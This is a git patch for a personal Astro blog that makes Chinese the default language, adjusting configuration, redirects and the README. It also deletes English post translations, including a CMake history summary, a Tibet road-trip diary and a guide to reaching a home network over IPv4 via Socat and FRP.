From 1e2a78a1ca8d533ab1a7e67d2ca32a6328517f9d Mon Sep 17 00:00:00 2001 From: Eason Date: Tue, 3 Nov 2026 12:20:02 +0800 Subject: [PATCH] Make Chinese the default blog language --- README.md | 10 +- astro-paper.config.ts | 4 +- astro.config.ts | 11 +- public/_redirects | 9 +- src/content/pages/about.md | 4 +- src/content/posts/cmake/cmake_history.en.md | 35 -- .../posts/life/2023_spring_flowers.en.md | 30 -- src/content/posts/life/2023_tibet.en.md | 107 ------ .../posts/net/home_ipv4v6_dual_support.en.md | 65 ---- src/content/posts/net/home_network.en.md | 67 ---- src/content/posts/net/linode_migration.en.md | 33 -- src/content/posts/net/linode_usage.en.md | 85 ----- .../posts/net/openwrt_transparent_proxy.en.md | 182 ---------- .../tools/Import-external-lib-to-cmake.en.md | 44 --- src/content/posts/tools/chezmoi_usage.en.md | 135 -------- src/content/posts/tools/kconfig_usage.en.md | 229 ------------- src/content/posts/tools/lsky_pro_usage.en.md | 42 --- .../posts/tools/obsidian_livesync.en.md | 73 ---- .../posts/tools/shadowsocks_usage.en.md | 50 --- .../posts/tools/vaultwarden_usage.en.md | 66 ---- src/content/posts/tools/vim_usage.en.md | 319 ------------------ src/content/posts/wifi/wifi_direct.en.md | 72 ---- .../zephyr/zephyr_multi_interrupts.en.md | 193 ----------- src/i18n/index.ts | 6 +- src/i18n/locales.ts | 5 +- 25 files changed, 21 insertions(+), 1855 deletions(-) delete mode 100644 src/content/posts/cmake/cmake_history.en.md delete mode 100644 src/content/posts/life/2023_spring_flowers.en.md delete mode 100644 src/content/posts/life/2023_tibet.en.md delete mode 100644 src/content/posts/net/home_ipv4v6_dual_support.en.md delete mode 100644 src/content/posts/net/home_network.en.md delete mode 100644 src/content/posts/net/linode_migration.en.md delete mode 100644 src/content/posts/net/linode_usage.en.md delete mode 100644 src/content/posts/net/openwrt_transparent_proxy.en.md delete mode 100644 src/content/posts/tools/Import-external-lib-to-cmake.en.md delete mode 100644 src/content/posts/tools/chezmoi_usage.en.md delete mode 100644 src/content/posts/tools/kconfig_usage.en.md delete mode 100644 src/content/posts/tools/lsky_pro_usage.en.md delete mode 100644 src/content/posts/tools/obsidian_livesync.en.md delete mode 100644 src/content/posts/tools/shadowsocks_usage.en.md delete mode 100644 src/content/posts/tools/vaultwarden_usage.en.md delete mode 100644 src/content/posts/tools/vim_usage.en.md delete mode 100644 src/content/posts/wifi/wifi_direct.en.md delete mode 100644 src/content/posts/zephyr/zephyr_multi_interrupts.en.md diff --git a/README.md b/README.md index 51c115b..aa927c2 100644 --- a/README.md +++ b/README.md @@ -40,13 +40,11 @@ draft: false # true 时不发布 - 用 `##` / `###` 写小节标题,文章页会自动生成目录(至少 3 个小节时显示)。 - 没有设置 `ogImage` 的文章会自动生成分享预览图。 -### 中英双语 +### 文章语言 -- 英文站在根路径 `/`,中文站在 `/zh/`,页面右上角可以切换语言。 -- 给文章加英文版:在原文旁边放一个同名的 `.en.md` 文件,例如 `vim_usage.md` + `vim_usage.en.md`,两个版本共用同一个网址。 -- 没有后缀的文章默认是中文;如果原文是英文,在 frontmatter 里加 `lang: en`。 -- 某种语言没有对应版本时,会显示原文并提示读者。 -- 「关于」页面同理:`src/content/pages/about.md`,可用 `about.en.md` / `about.zh.md` 覆盖。 +- 博客默认使用中文,文章直接发布在根路径下,例如 `/posts/tools/vim_usage/`。 +- 原有 `/zh/` 开头的链接会跳转到对应的根路径。 +- 将来需要其他语言时,再完善翻译、语言入口及对应链接。 ## 目录结构 diff --git a/astro-paper.config.ts b/astro-paper.config.ts index 7c7930b..d2e5091 100644 --- a/astro-paper.config.ts +++ b/astro-paper.config.ts @@ -4,11 +4,11 @@ export default defineAstroPaperConfig({ site: { url: "https://blog.weenas.com/", title: "川流不息", - description: "Eason's notes on networking, tools, embedded development and life.", + description: "Eason 的技术笔记:网络、工具、嵌入式开发与生活记录。", author: "Eason Xiang", profile: "https://github.com/easonxiang", ogImage: "default-og.jpg", - lang: "en", + lang: "zh", googleVerification: "Y6VubbWBGYz9tLmVTOoR4rcjThETjxR7fxVf4U6udIQ", bingVerification: "92DD827E38EA11E9EFB394F55CEACE8E", timezone: "Asia/Shanghai", diff --git a/astro.config.ts b/astro.config.ts index 39df366..ee8526f 100644 --- a/astro.config.ts +++ b/astro.config.ts @@ -26,7 +26,7 @@ import { } from "@shikijs/transformers"; import { transformerFileName } from "./src/utils/transformers/fileName"; import config from "./astro-paper.config"; -import { DEFAULT_LOCALE, LOCALES, LOCALE_META } from "./src/i18n/locales"; +import { DEFAULT_LOCALE, LOCALES } from "./src/i18n/locales"; export default defineConfig({ site: config.site.url, @@ -42,20 +42,11 @@ export default defineConfig({ !/\/search\/$/.test(page) && (config.features?.showArchives !== false || !page.endsWith("/archives/")), - i18n: { - defaultLocale: DEFAULT_LOCALE, - locales: Object.fromEntries( - LOCALES.map(locale => [locale, LOCALE_META[locale].htmlLang]) - ), - }, }), ], i18n: { locales: [...LOCALES], defaultLocale: DEFAULT_LOCALE, - // Every page is written once; `/zh/*` is rendered from the same route - // with `Astro.currentLocale === "zh"`. - fallback: { zh: DEFAULT_LOCALE }, routing: { prefixDefaultLocale: false, fallbackType: "rewrite", diff --git a/public/_redirects b/public/_redirects index 8e2849b..6e62b41 100644 --- a/public/_redirects +++ b/public/_redirects @@ -3,5 +3,10 @@ # linode_usage used to have `slug: 8db64a10` /posts/net/8db64a10/ /posts/net/linode_usage/ 301 /posts/net/8db64a10 /posts/net/linode_usage/ 301 -/zh/posts/net/8db64a10/ /zh/posts/net/linode_usage/ 301 -/zh/posts/net/8db64a10 /zh/posts/net/linode_usage/ 301 +/zh/posts/net/8db64a10/ /posts/net/linode_usage/ 301 +/zh/posts/net/8db64a10 /posts/net/linode_usage/ 301 + +# Chinese pages now live at the root paths. +/zh / 301 +/zh/ / 301 +/zh/* /:splat 301 diff --git a/src/content/pages/about.md b/src/content/pages/about.md index e7b654c..ce4849b 100644 --- a/src/content/pages/about.md +++ b/src/content/pages/about.md @@ -1,5 +1,5 @@ --- -title: "About" -description: "A bit about me and this blog." +title: "关于" +description: "关于我和这个博客。" --- diff --git a/src/content/posts/cmake/cmake_history.en.md b/src/content/posts/cmake/cmake_history.en.md deleted file mode 100644 index bf7ddba..0000000 --- a/src/content/posts/cmake/cmake_history.en.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: CMake History and Architecture (Chinese Translation Notes) -image: https://img.weenas.com/optimized/cmake-cross-platform-testing.webp -date: 2024-07-06 15:56:43 -tags: - - cmake - - translate -keywords: - - cmake -description: Notes on my Chinese translation of the CMake chapter from The Architecture of Open Source Applications — why CMake was built and how it works. -pubDatetime: 2024-07-06 ---- - -The Chinese version of this post is my translation of the **CMake** chapter by Bill Hoffman and Kenneth Martin in [The Architecture of Open Source Applications](https://aosabook.org/en/). English readers should read the original chapter, [CMake](https://aosabook.org/en/v1/cmake.html), directly. This page summarizes what it covers. - -## What the Chapter Covers - -**History and goals.** In 1999 the US National Library of Medicine hired Kitware to build a better way to configure, build and deploy complex software across platforms, as part of the Insight Segmentation and Registration Toolkit ([ITK](http://www.itk.org/)). Projects at the time kept a configure script and Makefiles for Unix alongside Visual Studio project files for Windows. The authors' earlier attempts at a unified system (VTK's `pcmaker`, TargetJr's `gmake`-based system) forced Windows developers onto the command line. CMake was designed around a few constraints: - -- Depend only on a C++ compiler -- Generate native IDE project files, such as Visual Studio's -- Easily build static and shared libraries, executables and plugins -- Run code generators at build time -- Support out-of-source builds -- Introspect the system, autotools-style, so code targets features instead of specific platforms -- Scan C/C++ header dependencies automatically -- Behave consistently on every supported platform - -**How it works.** CMake runs in two phases. The *configure* step reads `CMakeCache.txt` and executes the project's `CMakeLists.txt` files, building an in-memory model of targets (`cmTarget` objects held in a tree of `cmMakefile` objects). The *generate* step turns that model into build files for the chosen tool, either IDE projects or Makefiles. Every language command is a `cmCommand` subclass that carries its own documentation. For Makefile builds, CMake tracks dependencies itself in `depend.make`, `flags.make`, `build.make` and `DependInfo.cmake`. - -**The wider toolset.** CTest runs regression tests and reports results to CDash. CPack drives native packagers (NSIS, RPM, `.deb`, tarballs). Qt and curses GUIs edit the cache. CMake itself is developed with continuous integration built on the same tools. - -**Lessons learned.** Backward compatibility is sacred, which led to the policy system in CMake 2.6. In hindsight, an existing embedded language such as Lua would have been better than a home-grown one. C plugins proved hard to keep compatible. Keeping the exposed API small avoids long-term maintenance costs. - -For the full text, see the [original chapter](https://aosabook.org/en/v1/cmake.html). The [Chinese translation](/zh/posts/cmake/cmake_history/) is on this blog. diff --git a/src/content/posts/life/2023_spring_flowers.en.md b/src/content/posts/life/2023_spring_flowers.en.md deleted file mode 100644 index 92b8a89..0000000 --- a/src/content/posts/life/2023_spring_flowers.en.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Spring Blossoms -image: https://img.weenas.com/optimized/1cRZUI.webp -date: 2023-06-05 -tags: - - photo -description: The season of blossoms — capturing the sound of flowers opening! -pubDatetime: 2023-06-05 ---- - -## Spring Blossoms - -Spring is a pleasant season, a colorful season, the season when everything comes back to life. - -![1685853499291.jpg](https://img.weenas.com/optimized/1cRZUI.webp) - -In the early morning, golden sunlight filters through the gaps in the trees, casting soft shadows, and the wisteria glistens in the light. -![1685853209625.jpg](https://img.weenas.com/optimized/4LG2v6.webp) - -Sunlight pours down through the dense tangle of wisteria branches, dazzlingly bright. -![1685853063785.jpg](https://img.weenas.com/optimized/IRgTOZ.webp) - -The wisteria is about to wither, giving it a weathered, timeworn feel. -![1685853529831.jpg](https://img.weenas.com/optimized/VVPByq.webp) - -The roses in the garden are all in bloom, a riot of color. -![1685853717941.jpg](https://img.weenas.com/optimized/g0A6Lc.webp) - -The grass along the riverbank is growing strong too; from a distance it looks as if a soft filter has been applied — hazy and dreamlike. -![1685853446063.jpg](https://img.weenas.com/optimized/yodFMC.webp) diff --git a/src/content/posts/life/2023_tibet.en.md b/src/content/posts/life/2023_tibet.en.md deleted file mode 100644 index 13cc5d5..0000000 --- a/src/content/posts/life/2023_tibet.en.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: A Road Trip Through Tibet, 2023 -date: 2024-06-07T15:58:29+08:00 -image: https://img.weenas.com/optimized/een1q3.webp -description: A diary of a July 2023 road trip through Tibet with a friend — Cona in Shannan, the Kyiba Monpa crossing, two burst tires, and the scenery along the way. -tags: - - travel - - tibet - - photo -pubDatetime: 2024-06-07 ---- - -## July 1 -I got up a little after 3 a.m., and my ride-hailing car was already waiting at the gate. I packed up and headed to Shuangliu Airport to meet Jimmy. He said his flight had been delayed more than two hours by heavy rain at Hongqiao 😂 — he'd only reached Chengdu after 2 a.m. and had barely slept. - -![export-1.jpg](https://img.weenas.com/THpk3Z.jpg) -Full of excitement, we boarded the Airbus A330 to Lhasa. A trip that once took me eight days driving along National Highway 318 took just over two hours. Jimmy had picked seats on the left side of the plane, saying that in good weather you could see Gongga and other snow mountains from that side. I was so sleepy that I fell asleep as soon as I boarded. When I woke up just before landing, I saw many snow mountains in the distance — perhaps some of the places we'd be visiting over the next few days. - -Jimmy had shipped his Prado from Shanghai to Lhasa ten days earlier, planning to drive off in his own car as soon as we arrived. But plans can't keep up with change: the shipping company said that, due to traffic jams, his car wouldn't arrive until the evening of July 2 at the earliest. Not wanting to sit idle for two days, we rented a Tank 300 and planned to explore the sights around Lhasa first. - -When we got off the plane, the rental company had a car waiting and drove us straight to a nearby parking lot. After a quick handover, we set off in the Tank. - -According to Jimmy's itinerary, our first stop was the Cona route in Shannan, which included an off-road crossing — more on that later. We quickly reached Shannan via the Zegong Expressway, then followed the national highway over a pass of more than 5,300 meters. On our first day on the plateau we both felt a bit of altitude sickness, so we took a few photos and headed down without lingering. On the way we came across a lake, its water deep blue in the sunlight, like an emerald on the barren plateau. Up close we learned it was Nari Yumco, at about 4,700 meters, with a snow mountain on its shore — the lake and the mountain set each other off beautifully. -![export-2.jpg](https://img.weenas.com/optimized/gvvs9J.webp) -Nari Yumco to Cona County is only about 50 km, but Jimmy had planned a different route. We followed a mountain road west from the lake to Quzhuomu Township, passing a thousand-year-old sea-buckthorn forest. At high altitude the air is thin, so the vegetation is mostly shrubs and trees are rare. -![export-3.jpg](https://img.weenas.com/optimized/bjGLyA.webp) -A whole forest of sea buckthorn is a rare sight. The trees were lush and mostly very old, and with the snow mountains in the distance the contrast was striking. -![export-4.jpg](https://img.weenas.com/optimized/lutk0m.webp) - -Continuing southwest from Quzhuomu, we passed many villages built on the gentler slopes. The rapeseed and highland barley they grow formed terraced fields, and the rapeseed flowers were in full bloom — it felt like a hidden paradise. It was already mid-May on the lunar calendar, yet the rapeseed in Tibet was only just starting to flower. The ancients figured this out long ago: "In the world below, April's blossoms are all gone; at the mountain temple, the peach flowers have just begun to bloom." -![export-5.jpg](https://img.weenas.com/optimized/Dhlq1V.webp) -![export-6.jpg](https://img.weenas.com/optimized/drrnPm.webp) -Heading further west, at the turnoff for Kuju Township there's a small road to Kyiba Monpa Ethnic Township — the crossing I mentioned earlier. Along this route several waterfalls converge into a roaring river, quite a spectacle. The road drops steeply, its surface mostly large broken rocks, passable only by off-road vehicles. More importantly, on one side of the road are sheer cliffs and jumbled rocks, and on the other a bottomless gorge with a raging torrent. -![export-7.jpg](https://img.weenas.com/optimized/UBKsRG.webp) -We were on edge the whole way, with danger at every turn, but we made it safely to Rang Village, a Kyiba Monpa settlement deep in the valley. According to Jimmy, this is right on the China–India border. The Kyiba Monpa live along the border on both the Chinese and Indian sides and are a separate branch from the Tibetans. -![export-8.jpg](https://img.weenas.com/optimized/qTyOnN.webp) -After Rang Village, Cona County is close — but about two kilometers on, at a gorge, we found a bridge under construction that no car could cross. The route that should have taken half an hour to Cona was impassable, so we had to go back the way we came, from Quzhuomu to Nari Yumco and then around to Cona County. By the time we got there it was past midnight. We found a hotel in Cona County (4,300 m). It had been an exceptionally long day. - -## July 2 -After breakfast in Cona County we went to check on the bridge, reaching the far side from Rang Village. The bridge site is at the bottom of the Lebu Valley; the mountain road descends more than 1,000 meters and the vegetation there is remarkably lush. But the bridge was expected to take another two days to finish. - -Today's main plan was to go from Cona County via Kuju Township to Lhozhag County, visit Puma Yumco and Yamdrok Lake, then return to Lhasa and switch to Jimmy's car the next day for the trip to Ngari. The road to Kuju was mostly the one we'd driven the day before, and it went smoothly. After Kuju we started climbing, from 4,300 meters all the way to a 5,500-meter pass, and small ice pellets began to fall. As we climbed, several snow mountains drew closer and closer, until we were standing above their snow line. We kept marveling that the trip had been worth it. - -On the way up we met a couple from Beijing coming down, two cars in their group. They said they'd started up at 10 a.m. and had to get out many times to move large rocks off the road to get through, and that past the pass a section of road had collapsed, so they advised us to turn back. We figured that since we'd come this far, we should at least go take a look — maybe our car could make it. That turned out to be far too naive, and we paid dearly for it. At the pass the road down looked fine, and since even walking at that altitude leaves you gasping, we didn't linger and started down. Gradually the rocks left on the road got bigger and bigger. Jimmy carefully steered around them, until we reached a stretch of about ten meters blocked by huge fallen boulders. There was no way through, so we decided to turn around and take a longer route instead. - -Two hairpins after turning back, disaster struck. We suddenly heard the right rear tire losing air: the car had passed between two big rocks and the right sidewall had been slashed. We didn't think much of it at first — we had a spare, so we'd just change it and carry on, though changing a tire above 5,000 meters would take some effort. The ice pellets were getting heavier. We checked the damage and went back into the car to wait for it to ease off before changing the tire, but it never stopped. Jimmy said we shouldn't stay here long, so we put on extra jackets and got out to change the tire in the sleet. Midway through, Jimmy said: "Uh-oh, why does the front tire sound like it's leaking too?" Sure enough, the right front sidewall also had a small cut and was nearly flat. A sense of dread set in. We were at about 5,500 meters, with almost no one around and no phone signal at all — there was little chance of getting outside help. With only one spare, all we could do was finish putting it on the rear and hurry down the mountain for help. By then we no longer cared about the rain and ice pelting our heads or the thin air. Working together, Jimmy jacked up the rear while I loosened the lug nuts. In about ten minutes the spare was on, and we crept down the mountain with the right front tire half flat. - -The road that felt so easy on the way up seemed endless on the way down. The steering wheel kept pulling right and had to be held hard to the left, or we risked going over the cliff. After more than an hour we'd dropped from 5,500 meters to about 4,300, and the road turned from gravel to concrete — if we held on a little longer we should reach a small village ahead. Jimmy and I were just remarking that in all this time we hadn't seen a single car or person, when we spotted a few motorcycles parked by the road and some Tibetans working in a field in the distance. It felt like rescue was in sight, and our spirits lifted at once. The Tibetan locals noticed our car crawling along with an irregular flapping sound from the tire and came over to see what was wrong. After a brief exchange, a young Tibetan man agreed to take the damaged tire to Quzhuomu Township to be repaired. Jimmy and I agreed that I'd wait in the car while he went with the young man to get the tire fixed. -![export-10.jpg](https://img.weenas.com/optimized/51MX4D.webp) -It was already past 6 p.m. Quzhuomu was about an hour and a half's drive away, so if all went well the round trip would take three hours and they'd be back after 9 p.m. Because of the time difference, it doesn't get fully dark here until 9:30 p.m., so I figured being alone in the car until they returned before dark wouldn't be a problem. That turned out to be naive — I had overestimated the facilities in the border region. When Jimmy and the others got to Quzhuomu, they found that the tire couldn't be repaired because the cut was in the sidewall. The township had no new tires for sale; the nearest stock was in Cona County, and driving there to buy one would add another three hours or so. The shop owner arranged for a seller in Cona to deliver a tire to Quzhuomu, saving more than an hour. Even so, they should have been back by 11 p.m., but thick fog rolled into the mountains that night, and it was past midnight before they returned. - -I waited anxiously in the car alone, especially after about 9:30 p.m., when it grew dark and the temperature dropped. In his rush Jimmy had taken the car key with him, and one window was left open, so cold wind kept pouring in. Luckily my luggage was in the car, and I piled on layer after layer — heavy clothes, then a blanket, then a quilt. Outside the window there was only the endless rush of the stream, and a full moon rose over the nearby peak, bringing a little light to the pitch-black night. Cold and hungry, I kept watching the scene outside the window. In that wild, deserted place I used reason to overcome fear, and finally held out until Jimmy returned with a new tire. With the young Tibetan man's help we quickly changed it, bringing the day's little episode to an end. - -After changing the tire, perhaps because we were still so wound up, neither of us felt sleepy, so we drove to Shannan to rest. It was more than 200 km, and around 4 a.m. we checked into a hotel in Shannan and fell asleep the moment we hit the bed. - -## July 3 -We had only booked the rental car for two days, so we needed to return it in Lhasa — and Jimmy's car might have arrived there by now. We got up at 9 a.m. Maybe because Shannan is at a lower altitude, and because exhaustion makes for deep sleep, neither of us felt tired. After breakfast we found a garage in Shannan to deal with the tire we'd swapped out the night before. The tire was certainly scrap; the wheel had no deformation, just some minor scratches on the rim that didn't affect use. We bought a new tire, fitted it, drove back to Lhasa on the Zegong Expressway and returned the car without any trouble. - -The shipping company had said Jimmy's car would reach Lhasa by the evening of July 2 at the latest, but when we called again they said it wouldn't arrive until noon on the 4th. So we had to spend an unplanned night in Lhasa — a good chance to rest and recover. I booked the Holiday Inn I'd stayed at on my visit to Lhasa two years earlier, only two or three kilometers from the Potala Palace, so we could wander out if we had time. We got to the hotel around 1 p.m. By then we both felt we hadn't slept well the night before and weren't in the mood to go out, so we took a nap. - -Around 4 p.m. we got hungry and went out to find food. We found a Tibetan restaurant, drank a pot of sweet tea and had something to eat. The sun was fierce, so we went back to the hotel to sort through the photos from the past two days. I'd planned to go out and shoot the city at night, but it started raining after dark. I opened Obsidian to write down these words, ending the day's simple itinerary. -## July 4 - -First thing in the morning we started checking on the car transporter. If the car had arrived we'd check out, pick it up, and head toward Shigatse. Instead we were told the transporter's driver had altitude sickness near Nagqu and couldn't drive. After some back and forth, the transport company arranged for a driver from Lhasa to go to Nagqu and bring the truck in. It wouldn't reach Lhasa until tonight at the earliest, so there was nothing for it but to stay another day in Lhasa and extend the hotel booking. -In the afternoon Jimmy and I strolled around Barkhor Street next to the Jokhang Temple and tried Tibet's signature sweet tea. -![export-11.jpg](https://img.weenas.com/optimized/U6aw64.webp) -## July 5 - -The car finally arrived in Lhasa. After breakfast at the hotel we took a taxi straight to pick it up. -![export-12.jpg](https://img.weenas.com/optimized/FdUVQD.webp) -After picking up the car we followed National Highways 318 and 219 toward Gamba County, passing Yamdrok Lake and Puma Yumco, and arrived around 10 p.m. - -## July 6 - -Gamba County is a world-class viewpoint for snow mountains — in the morning you can see the rolling snow peaks right from the hotel window. After breakfast we hiked up to a nearby viewing platform to photograph them. Because of the high altitude, climbing was extremely hard; we had to stop and rest every few steps. -![export-13.jpg](https://img.weenas.com/optimized/tp3I2w.webp) - -After coming down we drove west to our first commercial scenic spot since arriving in Tibet — Qilin Gorge. The gorge sits at the foot of the snow mountains, filled with strange rock formations that create a surreal contrast with the snow, as if they came from a different planet. -![export-14.jpg](https://img.weenas.com/optimized/TKN65D.webp) -![export-15.jpg](https://img.weenas.com/optimized/Qf5Ww9.webp) -Leaving Qilin Gorge, we had two options: continue west to Tingri County, or go south to the border town of Chentang. I planned to fly home on the 8th. If we went to Tingri, we could only look around Tingri the next day — going any further west, I couldn't get back to Lhasa in a day to catch my flight. So we agreed to visit Chentang today to experience the border scenery, and go to Tingri the next day for a close-up view of Everest. -Chentang sits in one of the Himalayan valleys, the Chentang Valley, bordering Nepal. From the Tibetan Plateau at about 5,000 meters you descend to the valley floor at just over 2,000 meters — a drop of about 3,000 meters. Along the way you go from the barren land of the plateau, to hillsides covered in shrubs, to a valley floor full of towering trees; it's like entering different worlds. - -Because several big snow mountains surround the valley, meltwater under the blazing sun keeps flowing down, and beautiful waterfalls of all sizes are everywhere. They all converge in the valley, the flow growing ever larger, from small streams at the top to a raging torrent at the bottom, flowing into Nepal and eventually into India's mother river, the Ganges. -![export-17.jpg](https://img.weenas.com/optimized/sbQz0c.webp) -Chentang is home to China's Sherpa community, and from many parts of town you can see Nepalese villages across the valley, also inhabited by Sherpas. Apart from the town center, built on a small patch of flat ground at the valley floor, most people live scattered across the slopes beside the valley — some on steep hillsides halfway up the mountains, with no road, reachable only on foot. -![export-16.jpg](https://img.weenas.com/optimized/Hg2A0B.webp) -That night we stayed at a hotel in town. The owner and staff were all from Chengdu, and chatting with the owner felt very familiar. - -## July 7 - -At just over 2,000 meters, Chentang didn't feel like the plateau at all — if anything it was a bit humid and muggy. The hotel didn't serve breakfast, so the owner cooked us two bowls of noodles, and after eating we got ready to leave the valley. At the checkpoint at the edge of town we were told it had rained the night before and there had been several landslides on the mountain road out; the road crew had only just gone to clear them, and it wouldn't reopen until noon at the earliest. There wasn't much to see in such a small town, so Jimmy and I rested in the car and waited. We waited until after 2 p.m., when word came that just as the road was about to reopen, another landslide had hit, and we might not get out until 6 p.m. We drove back into town for a meal and to decide whether to stay another night. Fortunately, by the time we finished eating, one lane had reopened. We hurried through the security check and headed out of the valley before another landslide could happen. -Out of the valley, we headed for the Everest viewing platform on S515 (the Everest Road), hoping to catch the sunset if we arrived before 9:30 p.m. Along the way there's a lesser-known viewpoint for Makalu, and we were lucky — its summit had just emerged from a mass of cloud. We reached the Everest viewing platform around 9:15 p.m. and our luck was off the charts: the whole row of 8,000-meter peaks was clearly visible. Jimmy said almost half of first-time visitors don't get to see them. -![export-18.jpg](https://img.weenas.com/optimized/xN6yeu.webp) -We got out our cameras and shot away as the sky slowly darkened and colorful clouds lit up the sunset. Some cars were parked beside the platform, and chatting with people we learned most planned to spend the night there to shoot the stars and the golden sunrise on the peaks. Hearing "stars", I was instantly interested. Venus was already shining overhead and the sky was perfectly clear, so a sky full of stars should appear soon. -We went back to the car for some snacks to recharge, then set up the tripod and camera gear on the platform and waited for the stars. Around 10 p.m. the stars slowly came out, and to our delight the Milky Way appeared too. With the Everest range in the background, I captured the Milky Way and Everest in one frame — a perfect finale to this snow-mountain trip through Tibet. It was well worth it. -![export-20.jpg](https://img.weenas.com/optimized/rgqtni.webp) -It was past midnight when we got down the mountain and settled in Tingri County. I packed for the trip home, while Jimmy would continue along National Highway 219 all the way to Xinjiang. - -## July 8 - -With limited time, I couldn't join Jimmy for the rest of Highway 219 to Xinjiang, so we said a hurried goodbye. I hired a young Tibetan driver to take me to Lhasa airport, and was back in Chengdu that night. -![export-21.jpg](https://img.weenas.com/optimized/vk0u0A.webp) -Life is like a journey: use your eyes to witness the sun rise and set each day, your mouth to taste all the sweetness and bitterness of the world, your ears to listen to people's laughter, and your hands to feel the gentle breeze of life. diff --git a/src/content/posts/net/home_ipv4v6_dual_support.en.md b/src/content/posts/net/home_ipv4v6_dual_support.en.md deleted file mode 100644 index 6047900..0000000 --- a/src/content/posts/net/home_ipv4v6_dual_support.en.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Dual-Stack Access to a Home Network -date: 2025-11-24T18:53:13+08:00 -image: https://img.weenas.com/cT0W3h.png -tags: - - network -keywords: -description: When your home broadband has no public IPv4 address, use a VPS with Socat and FRP to reach your home network over both IPv4 and IPv6. -pubDatetime: 2025-11-24 ---- -IPv4 addresses are increasingly scarce worldwide, and Chinese broadband ISPs now usually don't provide a public IPv4 address — by default you only get a public IPv6 address. In that situation, reaching home resources from the internet requires an IPv6 path. Mobile carriers have rolled out IPv6 widely, so access from a mobile device over cellular data works fine. In practice, however, public networks such as offices and shopping malls generally only support IPv4, which leaves them completely cut off from the home network. - -For this scenario, is there a technical way to achieve dual-stack IPv4/IPv6 access, so the home network is reachable transparently from any network environment? The answer is yes, with a few prerequisites: - -- The home network needs a domain bound via DDNS (any subdomain level works), to cope with the home network's changing IPv6 address. Here we'll assume the domain is `home.xxxx.com`. -- A public server (such as a VPS), which normally has a fixed IP address, to act as a relay for IPv4 traffic. - -Before reading on, you may want to look at my [home network architecture](../home_network/) to understand terms such as the home gateway. - -## DNS Configuration - -A domain can have both an IPv4 A record and an IPv6 AAAA record. When the user is on an IPv4 network, DNS returns the A record; on an IPv6 network, it returns the AAAA record. If the user's network supports both, the operating system decides whether to prefer IPv4 or IPv6, and modern operating systems usually prefer IPv6. - -First, configure DNS with your DNS provider: for example, point the A record of `home.xxxx.com` to the VPS's fixed IPv4 address and the AAAA record to the home gateway's IPv6 address. Also set up an automated script on the home gateway so that whenever its IPv6 address changes, the new address is pushed to the DNS provider. - -## Forwarding IPv4 Traffic - -How IPv4 traffic gets forwarded depends on which of two situations you're in: - -1. The VPS supports both IPv4 and IPv6 -2. The VPS supports only IPv4 - -## Port Forwarding with Socat - -In the first case, where the VPS supports both IPv4 and IPv6, things are relatively easy: just use Socat's IPv4-to-IPv6 port forwarding, as shown below: - -![ipv4_ipv6_dual.drawio.png](https://img.weenas.com/H3wT31.png) - -The VPS uses Socat to listen on an IPv4 port and forwards incoming requests to the home gateway over IPv6, making the home network reachable indirectly over IPv4. - -Socat can convert between arbitrary IPv4 and IPv6 source and destination ports. In fact, we also need it on the home gateway to convert incoming IPv6 traffic to IPv4 and forward it to any device on the LAN. - -Back when the home gateway still had a public IPv4 address, it was easy to set up NAT port forwarding on the gateway to expose internal ports to the internet and reach home devices (such as a NAS) from outside. In the IPv6 era, every device gets its own publicly reachable IPv6 address, so IPv6 itself doesn't need NAT port forwarding — which is why open-source software like OpenWrt doesn't offer IPv4-style NAT port forwarding for IPv6. - -You could register a subdomain for every LAN device via DDNS and bind it to that device's IPv6 address, which would also allow direct IPv6 access to home devices from outside. But configuring DDNS that way is extremely tedious, and it's a security concern as well. - -Using Socat keeps the experience the same as in the IPv4 days: only the home gateway is exposed to the outside, and all other home devices are reached through it. - -## Port Forwarding with FRP - -In the second case, the VPS has only an IPv4 address, so it can't establish an IPv6 path to the home gateway. And since the home gateway has no public IPv4 address, the VPS can't reach it over IPv4 either. - -This is where a second tool comes in: `FRP`, an open-source client/server application. The idea is fairly simple: the VPS can't reach the home gateway directly, but the VPS does have a public IPv4 address. So we first run the server, `FRPS`, on the VPS, then run the client, `FRPC`, on the home gateway, which opens a TCP connection to FRPS. FRPS and FRPC can now communicate in both directions, which makes it possible to forward IPv4 requests from the internet to the home gateway. - -![ipv4_ipv6_dual_FRP.png](https://img.weenas.com/cT0W3h.png) - -FRP calls this feature a reverse proxy; you can also think of it as a tunnel between FRPS and FRPC through which data is forwarded. - -What's interesting about this tool is that which ports the server listens on, which protocol it uses and which client port the traffic goes to are configured not on the server but on the client. The server only needs a single service port at startup; the rest of the configuration is sent by the client after it connects, and the server then starts listening and forwarding. This makes it very flexible to use. - -The tool also supports connecting multiple clients to one server, making the most of the server's forwarding capacity. FRP supports a rich set of network protocols as well; see the official documentation for details: [FRP](https://github.com/fatedier/frp) - -## Afterword - -This post described how to provide the same transparent IPv4 access when the home network only has IPv6, and roughly introduced the use cases of two tools, Socat and FRP. Whichever tool you use, when traffic is relayed through a VPS, access speed is limited by the VPS's inbound and outbound bandwidth and may differ greatly from direct IPv6 access. It may not suit high-volume traffic such as file transfers or video streaming. Be especially careful if your VPS bandwidth is billed by traffic. diff --git a/src/content/posts/net/home_network.en.md b/src/content/posts/net/home_network.en.md deleted file mode 100644 index d51aec8..0000000 --- a/src/content/posts/net/home_network.en.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: My Home Network Architecture -image: https://img.weenas.com/FYn4Vq.png -date: 2024-06-06T00:00:00+08:00 -description: A detailed look at my home network topology, including the setup and tuning of the modem, router, switch and Wi-Fi. -tags: - - network - - router -keywords: - - home network - - network topology - - router configuration - - network optimization -toc: true -draft: false -pubDatetime: 2024-06-06 ---- - -## Overview -As the number of devices at home keeps growing, so do the demands on the network, and improving its performance and stability becomes something worth thinking about. -After a period of optimization, my home network topology currently looks like this. Since most home devices only support 1000 Mbps, for the sake of economy all the core network gear is gigabit. -![1687615735277.png](https://img.weenas.com/BasAov.png) - -## Modem - -There isn't much to say about the modem: it's the optical network terminal provided by the ISP, which converts the optical signal from the fiber into an Ethernet signal. My China Telecom plan gives 1000 Mbps down and 50 Mbps up. The one thing to note is that by default the ISP configures the modem to dial the connection itself in NAT mode. If you need to access your network from the internet, you can ask the ISP to switch it to bridge mode. Put simply, the difference between the two modes is whether the modem or the gateway (router) behind it dials the connection. - -Even when the gateway dials, the ISP may assign a NATed private address to save public IPs. Normal browsing works fine, but you can't reach your home gateway directly from the internet, and therefore can't reach the devices inside your home 